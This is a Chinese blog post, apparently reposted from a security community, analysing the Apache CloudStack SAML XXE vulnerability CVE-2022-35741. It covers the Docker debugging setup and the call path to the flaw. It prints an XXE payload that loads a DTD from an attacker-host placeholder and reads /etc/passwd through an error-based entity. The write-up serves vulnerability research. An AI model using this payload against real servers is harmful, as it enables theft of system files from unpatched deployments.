前言
最近爆了好多洞,看到有个XXE注入,正好前段时间刚分析完ZOHO那个XXE正好分析一波
环境搭建
跟着官网安装,直接放弃,最后找到了docker的镜像,直接docker搭起来,不过在docker进行远程调试的时候又出现了巨多坑,整个环境搭了两天,环境为4.17.0.0
docker pull ustcweizhou/cloudstack-simulator
docker run --name cloudstack-simulator -p 8888:5050 -p 9999:9999 -d ustcweizhou/cloudstack-simulator
其中8888是web端口,9999是要开启的远程调试端口,接下来直接按照以下命令执行即可
//在虚拟机当前目录新建一个supervisord的配置文件
vim supervisord.conf
//内容如下,里面只是在原先的基础上加了个idea的远程调试,端口为9999
[supervisord]
nodaemon=true
[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true
user=root
[program:cloudstack]
command=/bin/bash -c "export MAVEN_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:9999';mvn -pl client jetty:run -Dsimulator -Dorg.eclipse.jetty.annotations.maxWait=120"
directory=/root
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
[program:cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
//将conf文件复制到容器内
docker cp supervisord.conf 容器id:/etc/supervisor/conf.d/supervisord.conf
//进入容器
docker exec -it 容器id bash
//更新supervisord文件配置即可
supervisorctl update
漏洞分析
先来看一下补丁,很明显的XXE注入漏洞,可以看到对先进行了base64解密,在进行了XML解析,我们逆着来看看哪里调用了responseMessage
decodeSAMLResponse
![图片[1]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103733-0ff55426-120c-1.png)
在中,调用了,继续往上找org.apache.cloudstack.api.command.SAML2LoginAPIAuthenticatorCmd#processSAMLResponse
decodeSAMLResponse
![图片[2]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103744-16804454-120c-1.png)
在同一个类中找到了函数,可以看到传入一个,而它是从中的中取出的值并且强转为String类型,而是一个Map类型的,那么就是一个key,很有可能就是在request中传过来的,我们继续往上找authenticate
idpId
params
SAMLResponse
params
SAMLResponse
![图片[3]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103754-1c9aea6a-120c-1.png)
![图片[4]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103802-215530d8-120c-1.png)
成功在中找到了调用方式,在其函数内调用了,而且可以看到里的值就是request转化而来的键值对,并且doGet和doPost最后都调用了函数,那么到最后解析xml的值就是我们可以控制的ApiServlet
processRequestInContext
authenticate
params
processRequestInContext
SAMLResponse
![图片[5]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103812-26ec6534-120c-1.png)
![图片[6]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103820-2bc1d5bc-120c-1.png)
![图片[7]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103828-30b4bbfc-120c-1.png)
接着来看一下wen.xml看看ApiServlet对应的路由,在/api/下会被调用
![图片[8]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103836-35be1382-120c-1.png)
在web页面中看到网络发的包,拿来一个加上参数来看看最后触发漏洞需要的条件SAMLResponse
![图片[9]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103847-3bd50b22-120c-1.png)
在中,需要满足这个条件才能进入到if语句中,进入if语句才能继续往下走,这就要必须有值,我们进入到来看一下processRequestInContext
apiAuthenticator != null
apiAuthenticator
getAPIAuthenticator
![图片[10]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103855-411b1d24-120c-1.png)
可以看到必须满足条件,才不会为空,其中会检测传进来的name是否在内,而name就是我们可控的,此时的值需要为以下的几个值才符合条件,可以看到里面有两个值和,该漏洞的触发就是需要在开启saml的前提下才会触发而这两个值就是在开启saml后有的值,既然已经知道了触发条件直接将值改为s_authenticators != null && s_authenticators.containsKey(name)
apiAuthenticator
s_authenticators
command
command
samlsso
samlslo
command
samlsso
saml开启是在登录web后在全局配置中将改为true即可
saml2.enabled
![图片[11]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103904-464b6970-120c-1.png)
![图片[12]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103913-4b6be902-120c-1.png)
可以看到通过获取的的值就是能够继续触发漏洞的command
apiAuthenticator
SAML2LoginAPIAuthenticatorCmd
![图片[13]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103922-50ed006e-120c-1.png)
最后对的值进行base64解密后触发XXE漏洞,接下来构造payload触发SAMLResponse
![图片[14]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103932-57050780-120c-1.png)
有效载荷如下:
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://@evilServer:8000/ev.dtd"> %ext; ]> <message></message>
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
server端有被访问但是并没有回显,然后就想到了利用ftp协议工具进行回显,但是测试一直不成功,然后发现CloudStack的服务端jdk版本为,而在高版本中在类中进行url检测openjdk 11.0.15
FtpURLConnection
![图片[15]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103943-5dabf382-120c-1.png)
会对换行符进行检测,如果有的话直接抛出异常,这里就尝试了很多方法都不能回显,在网上查文章发现好像高版本的XXE无回显确实无法利用,这里在网上看到一篇文章,详细的解释了为什么高版本jdk的ftp无法利用
<7u141
或:不会受文件中\n的影响<8u131
>jdk8u131
:能创建FTP连接,外带文件内容中含有\n则抛出异常>jdk8u232
:不能创建FTP连接,只要url中含有\n就会抛出异常
![图片[16]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802103955-646b3ed0-120c-1.png)
在调试的时候发现会在中回显/etc/passwd文件内容,但是并不会回显到前端detaiMessage
![图片[17]-CVE-2022-35741 Apache CloudStack SAML XXE注入-NGC660安全实验室](https://xzfile.aliyuncs.com/media/upload/picture/20220802104004-69be5d2c-120c-1.png)
本文转载于先知社区,原作者Da22le
原地址:CVE-2022-35741 Apache CloudStack SAML XXE注入 – 先知社区 (aliyun.com)
若侵权请联系删除
请登录后查看评论内容